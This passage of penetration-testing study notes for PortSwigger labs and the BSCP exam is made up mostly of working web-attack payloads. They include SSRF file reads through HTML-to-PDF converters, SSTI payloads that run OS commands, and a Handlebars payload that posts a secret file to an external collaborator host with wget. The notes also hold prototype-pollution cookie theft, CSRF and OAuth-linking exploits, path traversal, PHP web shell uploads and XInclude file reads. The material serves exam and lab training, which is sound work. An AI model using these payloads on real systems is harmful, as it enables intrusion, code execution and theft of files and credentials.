Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
Identified SSRF with help from collaborator that other servers can be accessed and so this can allow access to localhost, by changing the HOST header.
PortSwigger Lab: Routing-based SSRF
Identify if SSRF can reach a server which attacker control.
<div><p>Report Heading by <img src=”https://Collaborator.com/test.png”></p>
Identify file download HTML-to-PDF convert function on target is vulnerable.
<script>
document.write('<iframe src=file:///etc/passwd></iframe>');
</script>
Libraries used to convert HTML files to PDF documents are vulnerable to server-side request forgery (SSRF).
Sample code below can be injected on vulnerable implementation of HTML to PDF converter such as wkhtmltopdf to read local file (SSRF).
<html>
<body>
<script>
x = new XMLHttpRequest;
x.onload = function() {
document.write(this.responseText)
};
x.open("GET", "file:///home/carlos/secret");
x.send();
</script>
</body>
</html>
JSON POST request body containing the HTMLtoPDF formatted payload to read local file.
{
"tableHtml":"<div><p>SSRF in HTMLtoPDF</p><iframe src='file:///home/carlos/secret' height='500' width='500'>"
}
Random notes on HTML-to-PDF converters & SSRF
"Download report as PDF"
/adminpanel/save-report/
POST request - Body JSON
{
"tableHtml":"........<html code snip>......."
}
pdf creator: wkhtmltopdf 0.12.5
hacktricks xss cross site scripting server side xss dynamic pdf
The target make GET request to the next product on the ecommerce site, using a path parameter. On the stockAPI POST request the value provided in body data is the partial path to interal system. The identification of this vulnerability is by testing various paths and observing the input path specified is reflected in the response Location header.
https://0ae8000a032748ebc12e083600260006.web-security-academy.net/product/nextProduct?currentProductId=1&path=http%3a//192.168.0.12%3a8080/admin
Replace the StockAPI value with the partial path not the absolute URL from above GET request.
stockApi=%2fproduct%2fnextProduct%3fcurrentProductId%3d1%26path%3dhttp%253a%2f%2f192.168.0.12%253a8080%2fadmin
PortSwigger Lab: SSRF with filter bypass via open redirection vulnerability
Use the web framework native template syntax to inject a malicious payload into a {{input}}, which is then executed server-side.
SSTI can be identified using the tool SSTImap .
python /opt/SSTImap/sstimap.py --engine erb -u https://TARGET.net/?message=Unfortunately%20this%20product%20is%20out%20of%20stock --os-cmd "cat /home/carlos/secret"
POST request data param to test and send payload using SSTImap.
python /opt/SSTImap/sstimap.py -u https://TARGET.net/product/template?productId=1 --cookie 'session=StolenUserCookie' --method POST --marker fuzzer --data 'csrf=ValidCSRFToken&template=fuzzer&template-action=preview' --engine Freemarker --os-cmd 'cat /home/carlos/secret'
SSTI payloads to manually identify vulnerability.
${{<%[%'"}}%\.,
}}{{7*7}}
{{fuzzer}}
${fuzzer}
${{fuzzer}}
${7*7}
<%= 7*7 %>
${{7*7}}
#{7*7}
${foobar}
{% debug %}
Identification of template injection.
Tornado Template
}}
{% import os %}
{{os.system('cat /home/carlos/secret')
blog-post-author-display=user.name}}{%25+import+os+%25}{{os.system('cat%20/home/carlos/secret')
PortSwigger Lab: Basic server-side template injection data exfiltrate
Django Template
${{<%[%'"}}%\,
{% debug %}
{{settings.SECRET_KEY}}
Freemarker Template Content-Manager (C0nt3ntM4n4g3r)
${foobar}
<#assign ex="freemarker.template.utility.Execute"?new()> ${ ex("cat /home/carlos/secret") }
PortSwigger Lab: Server-side template injection using documentation
ERB Template
<%= 7*7 %>
<%= system("cat /home/carlos/secret") %>
PortSwigger Lab: Basic server-side template injection
Handlebars Template
${{<%[%'"}}%\,
wrtz{{#with "s" as |string|}}
{{#with "e"}}
{{#with split as |conslist|}}
{{this.pop}}
{{this.push (lookup string.sub "constructor")}}
{{this.pop}}
{{#with string.split as |codelist|}}
{{this.pop}}
{{this.push "return require('child_process').exec('wget http://ext.burpcollab.net --post-file=/home/carlos/secret');"}}
{{this.pop}}
{{#each conslist}}
{{#with (string.sub.apply 0 codelist)}}
{{this}}
{{/with}}
{{/each}}
{{/with}}
{{/with}}
{{/with}}
{{/with}}
PortSwigger Lab: Server-side template injection in an unknown language
Random notes on template injections
"Update forgot email template {{}}
/admin_panel/update_forgot_email/
POST request newemail parameter
portswigger.net/research/server-side-template-injection
{{7*7}}
portswigger.net/research/template-injection
wget http://ext.burpcollab.net --post-file=/home/carlos/secret
SSTI Section ...need more input...
A target is vulnerable to DOM XSS via client side prototype pollution. DOM Invader will identify the gadget and using hosted payload to phish a victim and steal their cookie.
Exploit server Body section, host an exploit that will navigate the victim to a malicious URL.
<script>
location="https://TARGET.web.net/#__proto__[hitCallback]=alert%28document.cookie%29"
</script>
PortSwigger Lab: Client-side prototype pollution in third-party libraries
Proto pollution section is incomplete ...need more input...
Cross-Site Request Forgery vulnerability allows an attacker to force users to perform actions that they did not intend to perform.
oAuth linking exploit server hosting iframe, then deliver to victim, forcing user to update code linked.
Intercepted the GET /oauth-linking?code=[...]. send to repeat to save code. Drop the request. Important to ensure that the code is not used and, remains valid. Save on exploit server an iframe in which the src attribute points to the URL you just copied.
<iframe src="https://TARGET.web-security-academy.net/oauth-linking?code=STOLEN-CODE"></iframe>
PortSwigger Lab: Forced OAuth profile linking
Identify change email vulnerable to the referer header to validate being part of the referer header value.
Adding original domain of target and append it to the Referer header in the form of a query string, allow the change email to update.
HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8
Referrer-Policy: unsafe-url
Note: Unlike the normal Referer header spelling, the word "referrer" must be spelled correctly in the above code^^.
Create a CSRF proof of concept exploit and host it on the exploit server. Edit the JavaScript so that the third argument of the history.pushState() function includes a query string with target URL.
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<script>history.pushState("", "", "/?TARGET.web-security-academy.net")</script>
<form action="https://TARGET.web-security-academy.net/my-account/change-email" method="POST">
<input type="hidden" name="email" value="test@test.com" />
<input type="submit" value="Submit request" />
</form>
<script>
document.forms[0].submit();
</script>
</body>
</html>
When above exploit payload body CSRF delivered to victim, it changes victim email to [email protected].
PortSwigger Lab: CSRF with broken Referer validation
The imagefile parameter is vulnerable to directory traversal path attacks, enabling read access to arbitrary files on the server.
../../../../../../../../../../
On the admin portal the images are loaded using imagefile= parameter, vulnerable to directory traversal.
GET /admin_controls/metrics/admin-image?imagefile=%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252fetc%252fpasswd
Burp Intruder provides a predefined payload list (Fuzzing - path traversal).
PortSwigger Lab: File path traversal, traversal sequences stripped with superfluous URL-decode
PortSwigger Academy File-path-traversal
A vulnerable image upload function or avatar logo upload, can by exploited and security controls bypassed to upload content to extract sensitive data or execute code server side.
Identify any type of file upload.
Content of exploit php
<?php echo file_get_contents('/home/carlos/secret'); ?>
File upload vulnerabilities bypass examples:
- Upload the file name and include obfuscated path traversal
..%2fexploit.php
and retrieve the contentGET /files/avatars/..%2fexploit.php
- Upload a file named,
exploit.php%00.jpg
with trailing null character and get the file execution at/files/avatars/exploit.php
- Create polygot using valid image file, using
exiftool -Comment="<?php echo 'START ' . file_get_contents('/home/carlos/secret') . ' END'; ?>" stickman.jpg -o polyglot.php
. Get/files/avatars/polyglot.php
content and search forSTART
to obtain sensitive data. - Upload two files, first .htaccess with content
AddType application/x-httpd-php .l33t
allowing then the upload and execute of second file named,exploit.l33t
PortSwigger Lab: Web shell upload via extension blacklist bypass
This section contain additional info to solving the Portswigger labs and BSCP exam for example the youtube content creators, speed scanning, and python automated scripts I copied from @tjc_.
These python scripts are small set of the code written by Github: Trevor tjcim.
Automate the solving of the labs using python scripts
Due to the tight time limit during engagements, scan defined insertion points for specific requests.
Scanner detected XML injection vulnerability on storeId parameter and this lead to reading the secret Carlos file.
<foo xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include parse="text" href="file:///home/carlos/secret"/></foo>
Out of band XInclude request, need hosted DTD to read local file.
<hqt xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include href="http://vfe7mddka77io3rz2xjvvbum5db9zzn0br1er2g.oastify.com/foo"/></hqt>
PortSwigger Lab: Discovering vulnerabilities quickly with targeted scanning
This is my personal view of the possible approach to leverage identified vulnerabilites and then using these notes to progress through the BSCP exam stages.
Youtube channels:
- Rana Khalil
- David Bombal
- intigriti
- Seven Seas Security
- LiveUnderflow
- Tib3rius
- John Hammond
- TraceTheCode
- Sabyasachi Paul
- bmdyy
- securityguideme
- nu11 security
- PortSwigger
- IppSec
- @tjc_
This PortSwigger exam is designed to be challenging, it is not straight forward vulnerabilities, twisted challenges, mixed academy labs into single problem and even rabbit holes.
Perseverance: Persistence in doing something despite difficulty or delay in achieving success.
#TryHarder